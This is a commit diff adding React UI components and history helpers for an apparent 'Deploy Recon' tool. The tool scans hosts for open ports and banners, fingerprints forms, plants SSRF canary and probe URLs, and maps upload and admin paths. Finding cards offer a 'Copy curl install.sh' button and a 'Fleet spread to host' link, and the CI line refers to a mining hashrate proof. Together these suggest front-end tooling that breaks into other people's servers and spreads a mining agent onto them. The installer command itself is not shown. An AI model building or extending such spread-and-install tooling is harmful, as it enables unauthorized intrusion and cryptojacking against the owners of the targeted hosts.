Deploy Recon UI: consume new recon APIs with streaming results and action matrix
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
383
server/web/src/components/Recon/DeployReconPanels.tsx
Normal file
383
server/web/src/components/Recon/DeployReconPanels.tsx
Normal file
@@ -0,0 +1,383 @@
|
||||
import { memo, useEffect, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import {
|
||||
FLEET_SPREAD_PORTS,
|
||||
PORT_BUNDLES,
|
||||
RECON_PORT_HINTS,
|
||||
SCAN_PROFILES,
|
||||
crucibleSpreadLink,
|
||||
curlInstallLine,
|
||||
type PortBundleId,
|
||||
type ScanProfileId,
|
||||
} from '../../help/deployRecon';
|
||||
import type {
|
||||
ReconActionRow,
|
||||
ReconFormFingerprintCard,
|
||||
} from '../../help/deployRecon';
|
||||
import {
|
||||
buildAdminSurfaceMap,
|
||||
buildFormFingerprintCards,
|
||||
buildTechStackHints,
|
||||
type AdminSurfaceMapRow,
|
||||
} from '../../help/deployRecon';
|
||||
import type {
|
||||
ReconPortBanner,
|
||||
ReconPortResult,
|
||||
ReconScanReport,
|
||||
ReconSsrfCanaryInfo,
|
||||
ReconStackEntry,
|
||||
ReconWebFindingCard,
|
||||
} from '../../types/recon';
|
||||
import { ssrfCanaryToken } from '../../help/deployRecon';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard?.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
}).catch(() => {});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export const ScanProfileSelector = memo(function ScanProfileSelector({
|
||||
value,
|
||||
onChange,
|
||||
}: {
|
||||
value: ScanProfileId;
|
||||
onChange: (v: ScanProfileId) => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="dr-profile-row" data-testid="dr-scan-profile">
|
||||
<span className="dr-field-label">Scan profile <HelpTip field="dr_scan_profile" /></span>
|
||||
<div className="dr-chip-row">
|
||||
{(Object.keys(SCAN_PROFILES) as ScanProfileId[]).map((id) => (
|
||||
<button
|
||||
key={id}
|
||||
type="button"
|
||||
className={`dr-chip${value === id ? ' active' : ''}`}
|
||||
onClick={() => onChange(id)}
|
||||
title={SCAN_PROFILES[id].detail}
|
||||
>
|
||||
{SCAN_PROFILES[id].label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export const PortBundleSelector = memo(function PortBundleSelector({
|
||||
value,
|
||||
onChange,
|
||||
}: {
|
||||
value: PortBundleId;
|
||||
onChange: (v: PortBundleId) => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="dr-bundle-row" data-testid="dr-port-bundle">
|
||||
<span className="dr-field-label">Port bundle <HelpTip field="dr_port_bundle" /></span>
|
||||
<select className="input" value={value} onChange={(e) => onChange(e.target.value as PortBundleId)}>
|
||||
{(Object.keys(PORT_BUNDLES) as PortBundleId[]).map((id) => (
|
||||
<option key={id} value={id}>
|
||||
{PORT_BUNDLES[id].label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export const StreamingPortMatrix = memo(function StreamingPortMatrix({
|
||||
ports,
|
||||
streaming,
|
||||
onHint,
|
||||
}: {
|
||||
ports: ReconPortResult[];
|
||||
streaming?: boolean;
|
||||
onHint: (hint: string) => void;
|
||||
}) {
|
||||
return (
|
||||
<div data-testid="dr-port-matrix" className={streaming ? 'dr-port-matrix-streaming' : ''}>
|
||||
<h3 className="dr-section-title">
|
||||
Port matrix <HelpTip field="dr_port_matrix" />
|
||||
</h3>
|
||||
<div className="dr-port-matrix">
|
||||
{ports.map((p) => (
|
||||
<button
|
||||
key={p.port}
|
||||
type="button"
|
||||
className={`dr-port-cell${p.open ? ' open' : ''}${streaming && !p.open ? ' pending' : ''}`}
|
||||
disabled={!p.open}
|
||||
title={p.open ? RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open` : `TCP ${p.port} closed`}
|
||||
onClick={() => {
|
||||
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
|
||||
}}
|
||||
>
|
||||
{p.port}
|
||||
{p.open ? ' ●' : ' ○'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export const BannerGrabPanel = memo(function BannerGrabPanel({ banners }: { banners: ReconPortBanner[] }) {
|
||||
if (!banners?.length) return null;
|
||||
return (
|
||||
<section className="dr-banner-panel" data-testid="dr-banner-grab">
|
||||
<h3 className="dr-section-title">Banner grab <HelpTip field="dr_banner_grab" /></h3>
|
||||
<ul className="dr-banner-list">
|
||||
{banners.map((b) => (
|
||||
<li key={b.port} className="dr-banner-item">
|
||||
<span className="font-tech">:{b.port}</span>
|
||||
{b.service ? <span className="dr-banner-svc">{b.service}</span> : null}
|
||||
{b.title ? <span className="dr-banner-title">{b.title}</span> : null}
|
||||
{b.banner ? <code className="dr-banner-code">{b.banner}</code> : null}
|
||||
{b.hint ? <span className="dr-banner-hint">{b.hint}</span> : null}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const FormFingerprintCards = memo(function FormFingerprintCards({
|
||||
cards,
|
||||
}: {
|
||||
cards: ReconFormFingerprintCard[];
|
||||
}) {
|
||||
if (cards.length === 0) return null;
|
||||
return (
|
||||
<section data-testid="dr-form-fingerprint">
|
||||
<h3 className="dr-section-title">Form fingerprints <HelpTip field="dr_form_fingerprint" /></h3>
|
||||
<div className="dr-fp-grid">
|
||||
{cards.map((c) => (
|
||||
<article key={c.id} className="dr-fp-card">
|
||||
<div className="dr-fp-head">
|
||||
<span className="font-tech">{c.name}</span>
|
||||
<span className="dr-fp-score">score {c.score}</span>
|
||||
</div>
|
||||
<p className="dr-fp-url">{c.page_url}</p>
|
||||
{c.matches.length ? <p className="dr-fp-matches">{c.matches.join(' · ')}</p> : null}
|
||||
<CopyChip text={c.paste_target} label="Copy paste target" />
|
||||
</article>
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const SsrfCanaryPanel = memo(function SsrfCanaryPanel({
|
||||
canary,
|
||||
scanId,
|
||||
wsHitScanId,
|
||||
}: {
|
||||
canary?: ReconSsrfCanaryInfo;
|
||||
scanId?: string;
|
||||
wsHitScanId?: string | null;
|
||||
}) {
|
||||
const token = ssrfCanaryToken(canary?.scan_id || scanId || '');
|
||||
const [status, setStatus] = useState(canary?.status ?? 'pending');
|
||||
const [hitAt, setHitAt] = useState(canary?.hit_at);
|
||||
|
||||
useEffect(() => {
|
||||
if (canary?.status) setStatus(canary.status);
|
||||
if (canary?.hit_at) setHitAt(canary.hit_at);
|
||||
}, [canary]);
|
||||
|
||||
useEffect(() => {
|
||||
if (wsHitScanId && token && wsHitScanId === token) {
|
||||
setStatus('confirmed');
|
||||
setHitAt(new Date().toISOString());
|
||||
}
|
||||
}, [wsHitScanId, token]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!token || status === 'confirmed') return undefined;
|
||||
const timer = setInterval(() => {
|
||||
void api.getSsrfCanaryStatus(token).then((info) => {
|
||||
if (!info) return;
|
||||
setStatus(info.status);
|
||||
if (info.hit_at) setHitAt(info.hit_at);
|
||||
});
|
||||
}, 4000);
|
||||
return () => clearInterval(timer);
|
||||
}, [token, status]);
|
||||
|
||||
const url = canary?.url;
|
||||
if (!url && !token) return null;
|
||||
|
||||
return (
|
||||
<section className="dr-canary-panel" data-testid="dr-ssrf-canary">
|
||||
<h3 className="dr-section-title">
|
||||
SSRF canary <HelpTip field="dr_ssrf_canary" />
|
||||
<span className={`dr-canary-badge ${status}`}>{status}</span>
|
||||
</h3>
|
||||
{url ? <CopyChip text={url} label="Copy canary URL" /> : null}
|
||||
{hitAt ? <p className="dr-canary-hit">Hit at {hitAt}</p> : null}
|
||||
{canary?.paste_field_name ? (
|
||||
<p className="dr-empty">Paste into field: {canary.paste_field_name}</p>
|
||||
) : null}
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const UploadAdminMap = memo(function UploadAdminMap({ rows }: { rows: AdminSurfaceMapRow[] }) {
|
||||
if (!rows.length) return null;
|
||||
return (
|
||||
<section data-testid="dr-upload-admin-map">
|
||||
<h3 className="dr-section-title">Upload / admin map <HelpTip field="dr_upload_admin_map" /></h3>
|
||||
<table className="dr-admin-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Path</th>
|
||||
<th>Status</th>
|
||||
<th>Signal</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((r) => (
|
||||
<tr key={r.url}>
|
||||
<td>
|
||||
<a href={r.url} target="_blank" rel="noreferrer">
|
||||
{r.path}
|
||||
</a>
|
||||
</td>
|
||||
<td>{r.status_code}</td>
|
||||
<td>{r.signal}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const TechStackBanner = memo(function TechStackBanner({ stack }: { stack: ReconStackEntry[] }) {
|
||||
if (!stack.length) return null;
|
||||
return (
|
||||
<section data-testid="dr-tech-stack">
|
||||
<h3 className="dr-section-title">Tech stack <HelpTip field="dr_tech_stack" /></h3>
|
||||
<ul className="dr-stack-list">
|
||||
{stack.map((e) => (
|
||||
<li key={`${e.name}-${e.source}`}>
|
||||
<strong>{e.name}</strong>
|
||||
<span className="dr-stack-src">{e.source}</span>
|
||||
{e.detail ? <span className="dr-stack-detail">{e.detail}</span> : null}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const ActionMatrix = memo(function ActionMatrix({
|
||||
rows,
|
||||
onOpenPlaybook,
|
||||
}: {
|
||||
rows: ReconActionRow[];
|
||||
onOpenPlaybook?: (lane: string) => void;
|
||||
}) {
|
||||
if (!rows.length) return null;
|
||||
return (
|
||||
<section data-testid="dr-action-matrix">
|
||||
<h3 className="dr-section-title">Action matrix <HelpTip field="dr_action_matrix" /></h3>
|
||||
<table className="dr-action-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Lane</th>
|
||||
<th>Reason</th>
|
||||
<th>Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((r) => (
|
||||
<tr key={r.id}>
|
||||
<td className="font-tech">{r.title}</td>
|
||||
<td>{r.reason}</td>
|
||||
<td>
|
||||
<div className="dr-action-chips">
|
||||
{r.actions.map((a) => (
|
||||
<button
|
||||
key={a}
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => {
|
||||
if (a === 'playbook' && onOpenPlaybook) onOpenPlaybook(r.lane);
|
||||
}}
|
||||
>
|
||||
{a}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
|
||||
export const FindingCard = memo(function FindingCard({
|
||||
card,
|
||||
curlLine,
|
||||
host,
|
||||
fleetSpreadOpen,
|
||||
deployKitLane,
|
||||
}: {
|
||||
card: ReconWebFindingCard;
|
||||
curlLine: string;
|
||||
host: string;
|
||||
fleetSpreadOpen: boolean;
|
||||
deployKitLane?: string;
|
||||
}) {
|
||||
const finding = deployKitLane || card.spread_lane;
|
||||
return (
|
||||
<article className="dr-finding-card" data-testid={`dr-finding-${card.id}`}>
|
||||
<div className="dr-finding-head">
|
||||
<span className="dr-finding-title">{card.title}</span>
|
||||
<span className={`dr-confidence ${card.confidence}`}>{card.confidence}</span>
|
||||
{card.spread_lane ? <span className="join-lane-badge">{card.spread_lane}</span> : null}
|
||||
</div>
|
||||
<p className="dr-finding-detail">{card.detail}</p>
|
||||
{card.mermaid ? <pre className="dr-mermaid">{card.mermaid}</pre> : null}
|
||||
<div className="dr-deploy-panel">
|
||||
<CopyChip text={curlLine} label="Copy curl install.sh" />
|
||||
{card.probe_url ? <CopyChip text={card.probe_url} label="Copy SSRF probe URL" /> : null}
|
||||
{fleetSpreadOpen ? (
|
||||
<Link to={crucibleSpreadLink(host, finding)} className="btn btn-outline btn-sm">
|
||||
Fleet spread to {host}
|
||||
</Link>
|
||||
) : null}
|
||||
</div>
|
||||
</article>
|
||||
);
|
||||
});
|
||||
|
||||
export function useDeployReconDerived(report: ReconScanReport | null, deckOrigin: string) {
|
||||
return useMemo(() => {
|
||||
if (!report) {
|
||||
return {
|
||||
fingerprintCards: [] as ReconFormFingerprintCard[],
|
||||
adminRows: [] as AdminSurfaceMapRow[],
|
||||
stack: [] as ReconStackEntry[],
|
||||
};
|
||||
}
|
||||
return {
|
||||
fingerprintCards: buildFormFingerprintCards(report, deckOrigin),
|
||||
adminRows: buildAdminSurfaceMap(report),
|
||||
stack: buildTechStackHints(report),
|
||||
};
|
||||
}, [report, deckOrigin]);
|
||||
}
|
||||
|
||||
69
server/web/src/components/Recon/HistoryPanel.tsx
Normal file
69
server/web/src/components/Recon/HistoryPanel.tsx
Normal file
@@ -0,0 +1,69 @@
|
||||
import { memo, useCallback, useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import { loadReconHistory, openPortsSignature } from '../../help/reconHistory';
|
||||
import type { ReconHistoryEntry } from '../../types/recon';
|
||||
|
||||
export default memo(function HistoryPanel({
|
||||
host,
|
||||
onSelect,
|
||||
}: {
|
||||
host: string;
|
||||
onSelect?: (entry: ReconHistoryEntry) => void;
|
||||
}) {
|
||||
const [entries, setEntries] = useState<ReconHistoryEntry[]>([]);
|
||||
const [loading, setLoading] = useState(false);
|
||||
|
||||
const refresh = useCallback(async () => {
|
||||
setLoading(true);
|
||||
try {
|
||||
const server = await api.getReconHistory();
|
||||
const local = await loadReconHistory(host.trim() || undefined);
|
||||
const map = new Map<string, ReconHistoryEntry>();
|
||||
for (const e of [...(server?.entries ?? []), ...local]) {
|
||||
if (host.trim() && e.host.trim() !== host.trim()) continue;
|
||||
map.set(e.scan_id, e);
|
||||
}
|
||||
setEntries([...map.values()].sort((a, b) => b.scanned_at.localeCompare(a.scanned_at)));
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, [host]);
|
||||
|
||||
useEffect(() => {
|
||||
void refresh();
|
||||
}, [refresh]);
|
||||
|
||||
return (
|
||||
<section className="neon-card dr-history" data-testid="dr-history-panel">
|
||||
<div className="dr-fleet-head">
|
||||
<h2 className="dr-section-title" style={{ margin: 0 }}>
|
||||
Scan history <HelpTip field="dr_history" />
|
||||
</h2>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void refresh()}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{loading ? <p className="dr-empty">Loading history…</p> : null}
|
||||
{!loading && entries.length === 0 ? (
|
||||
<p className="dr-empty">No prior scans{host.trim() ? ` for ${host.trim()}` : ''}.</p>
|
||||
) : null}
|
||||
<ul className="dr-history-list">
|
||||
{entries.map((e) => (
|
||||
<li key={e.scan_id}>
|
||||
<button
|
||||
type="button"
|
||||
className="dr-history-item"
|
||||
onClick={() => onSelect?.(e)}
|
||||
>
|
||||
<span className="font-tech">{e.host}</span>
|
||||
<span className="dr-history-meta">
|
||||
{e.profile || 'scan'} · {new Date(e.scanned_at).toLocaleString()} · ports {openPortsSignature(e.report)}
|
||||
</span>
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
);
|
||||
});
|
||||
48
server/web/src/components/Recon/PlaybookWizardModal.tsx
Normal file
48
server/web/src/components/Recon/PlaybookWizardModal.tsx
Normal file
@@ -0,0 +1,48 @@
|
||||
import { memo } from 'react';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import type { PlaybookTreeNode } from '../../help/deployRecon';
|
||||
|
||||
export default memo(function PlaybookWizardModal({
|
||||
open,
|
||||
onClose,
|
||||
tree,
|
||||
focusLane,
|
||||
}: {
|
||||
open: boolean;
|
||||
onClose: () => void;
|
||||
tree: PlaybookTreeNode[];
|
||||
focusLane?: string;
|
||||
}) {
|
||||
if (!open) return null;
|
||||
const root = tree[0];
|
||||
return (
|
||||
<div className="dr-modal-backdrop" role="dialog" aria-modal="true" data-testid="dr-playbook-modal">
|
||||
<div className="dr-modal">
|
||||
<div className="dr-modal-head">
|
||||
<h2>Playbook wizard <HelpTip field="dr_playbook_wizard" /></h2>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
|
||||
Close
|
||||
</button>
|
||||
</div>
|
||||
{root ? (
|
||||
<div className="dr-playbook-tree">
|
||||
<p className="dr-playbook-root">
|
||||
Target <span className="font-tech">{root.label}</span>
|
||||
</p>
|
||||
<ul>
|
||||
{(root.children ?? []).map((node) => (
|
||||
<li key={node.id} className={focusLane === node.id ? 'focused' : ''}>
|
||||
<a href={node.href} target="_blank" rel="noreferrer">
|
||||
{node.label}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
) : (
|
||||
<p className="dr-empty">Run a scan to populate spread lanes.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
43
server/web/src/help/reconHistory.test.ts
Normal file
43
server/web/src/help/reconHistory.test.ts
Normal file
@@ -0,0 +1,43 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
diffReconReports,
|
||||
exportReconJson,
|
||||
openPortsSignature,
|
||||
saveReconHistoryEntry,
|
||||
} from './reconHistory';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
const base: ReconScanReport = {
|
||||
host: '10.0.0.5',
|
||||
scan_id: 's1',
|
||||
scanned_at: '2026-06-07T10:00:00Z',
|
||||
ports: [{ port: 80, open: true }],
|
||||
};
|
||||
|
||||
describe('reconHistory', () => {
|
||||
afterEach(() => localStorage.clear());
|
||||
|
||||
it('saves and signs open ports', () => {
|
||||
const entry = saveReconHistoryEntry(base);
|
||||
expect(entry.scan_id).toBe('s1');
|
||||
expect(openPortsSignature(base)).toBe('80');
|
||||
});
|
||||
|
||||
it('diffs port changes', () => {
|
||||
const next = { ...base, ports: [{ port: 80, open: true }, { port: 443, open: true }] };
|
||||
const diffs = diffReconReports(base, next);
|
||||
expect(diffs.some((d) => d.kind === 'port_opened' && d.label.includes('443'))).toBe(true);
|
||||
});
|
||||
|
||||
it('exports JSON without throwing', () => {
|
||||
const click = vi.fn();
|
||||
const create = vi.spyOn(document, 'createElement').mockReturnValue({ click } as unknown as HTMLAnchorElement);
|
||||
exportReconJson(base, 'out.json');
|
||||
expect(click).toHaveBeenCalled();
|
||||
create.mockRestore();
|
||||
});
|
||||
});
|
||||
|
||||
131
server/web/src/help/reconHistory.ts
Normal file
131
server/web/src/help/reconHistory.ts
Normal file
@@ -0,0 +1,131 @@
|
||||
import type { ReconHistoryEntry, ReconScanReport } from '../types/recon';
|
||||
|
||||
const LOCAL_KEY = 'aetherforge.recon.history.v1';
|
||||
const LOCAL_LIMIT = 64;
|
||||
|
||||
export type ReconReportDiffKind =
|
||||
| 'port_opened'
|
||||
| 'port_closed'
|
||||
| 'ssrf_up'
|
||||
| 'ssrf_down'
|
||||
| 'cms_added';
|
||||
|
||||
export interface ReconReportDiff {
|
||||
kind: ReconReportDiffKind;
|
||||
label: string;
|
||||
detail?: string;
|
||||
}
|
||||
|
||||
function normalizeEntry(raw: ReconHistoryEntry & { id?: string }): ReconHistoryEntry {
|
||||
const scan_id = raw.scan_id || raw.id || `${raw.host}-${raw.scanned_at}`;
|
||||
return { ...raw, scan_id, report: raw.report };
|
||||
}
|
||||
|
||||
function readLocalEntries(): ReconHistoryEntry[] {
|
||||
try {
|
||||
const raw = localStorage.getItem(LOCAL_KEY);
|
||||
if (!raw) return [];
|
||||
const parsed = JSON.parse(raw) as { entries?: (ReconHistoryEntry & { id?: string })[] };
|
||||
if (!Array.isArray(parsed.entries)) return [];
|
||||
return parsed.entries.map(normalizeEntry);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
function writeLocalEntries(entries: ReconHistoryEntry[]): void {
|
||||
try {
|
||||
localStorage.setItem(LOCAL_KEY, JSON.stringify({ entries: entries.slice(0, LOCAL_LIMIT) }));
|
||||
} catch {
|
||||
/* quota / private mode */
|
||||
}
|
||||
}
|
||||
|
||||
export function openPortsSignature(report: ReconScanReport): string {
|
||||
return report.ports
|
||||
.filter((p) => p.open)
|
||||
.map((p) => p.port)
|
||||
.sort((a, b) => a - b)
|
||||
.join(',');
|
||||
}
|
||||
|
||||
export async function loadReconHistory(host?: string): Promise<ReconHistoryEntry[]> {
|
||||
const local = readLocalEntries();
|
||||
if (!host?.trim()) {
|
||||
return local;
|
||||
}
|
||||
const trimmed = host.trim();
|
||||
try {
|
||||
const res = await fetch(`/api/v1/recon/history?host=${encodeURIComponent(trimmed)}`, {
|
||||
headers: { Accept: 'application/json' },
|
||||
credentials: 'include',
|
||||
});
|
||||
if (res.ok) {
|
||||
const body = (await res.json()) as { entries?: ReconHistoryEntry[] } | ReconHistoryEntry[];
|
||||
const server = Array.isArray(body) ? body : body.entries ?? [];
|
||||
if (server.length > 0) {
|
||||
const byId = new Map<string, ReconHistoryEntry>();
|
||||
for (const e of [...local, ...server.map(normalizeEntry)]) {
|
||||
if (e.host.trim() === trimmed) byId.set(e.scan_id, e);
|
||||
}
|
||||
return [...byId.values()].sort((a, b) => b.scanned_at.localeCompare(a.scanned_at));
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
/* offline */
|
||||
}
|
||||
return local.filter((e) => e.host.trim() === trimmed);
|
||||
}
|
||||
|
||||
export function saveReconHistoryEntry(report: ReconScanReport): ReconHistoryEntry {
|
||||
const scan_id = report.scan_id ?? `${report.host}-${report.scanned_at}`;
|
||||
const entry: ReconHistoryEntry = {
|
||||
scan_id,
|
||||
host: report.host,
|
||||
scanned_at: report.scanned_at,
|
||||
profile: report.profile,
|
||||
status: report.status,
|
||||
report,
|
||||
};
|
||||
const prev = readLocalEntries().filter((e) => e.scan_id !== entry.scan_id);
|
||||
writeLocalEntries([entry, ...prev]);
|
||||
return entry;
|
||||
}
|
||||
|
||||
export function exportReconJson(report: ReconScanReport, filename?: string): void {
|
||||
const blob = new Blob([JSON.stringify(report, null, 2)], { type: 'application/json' });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = filename ?? `recon-${report.host.replace(/[^a-zA-Z0-9._-]+/g, '-')}.json`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
}
|
||||
|
||||
export function diffReconReports(prev: ReconScanReport, next: ReconScanReport): ReconReportDiff[] {
|
||||
const diffs: ReconReportDiff[] = [];
|
||||
const prevPorts = new Map(prev.ports.map((p) => [p.port, p.open]));
|
||||
for (const p of next.ports) {
|
||||
const was = prevPorts.get(p.port);
|
||||
if (was !== true && p.open) {
|
||||
diffs.push({ kind: 'port_opened', label: `TCP ${p.port} opened`, detail: 'Was closed on prior scan.' });
|
||||
} else if (was === true && !p.open) {
|
||||
diffs.push({ kind: 'port_closed', label: `TCP ${p.port} closed`, detail: 'Was open on prior scan.' });
|
||||
}
|
||||
}
|
||||
const prevScore = prev.crawl?.ssrf_score ?? 0;
|
||||
const nextScore = next.crawl?.ssrf_score ?? 0;
|
||||
if (nextScore > prevScore) {
|
||||
diffs.push({ kind: 'ssrf_up', label: 'SSRF score increased', detail: `${prevScore} → ${nextScore}` });
|
||||
} else if (nextScore < prevScore) {
|
||||
diffs.push({ kind: 'ssrf_down', label: 'SSRF score decreased', detail: `${prevScore} → ${nextScore}` });
|
||||
}
|
||||
const prevCms = new Set(prev.crawl?.cms_fingerprints ?? []);
|
||||
for (const cms of next.crawl?.cms_fingerprints ?? []) {
|
||||
if (!prevCms.has(cms)) {
|
||||
diffs.push({ kind: 'cms_added', label: `CMS hint: ${cms}`, detail: 'New fingerprint vs prior scan.' });
|
||||
}
|
||||
}
|
||||
return diffs;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user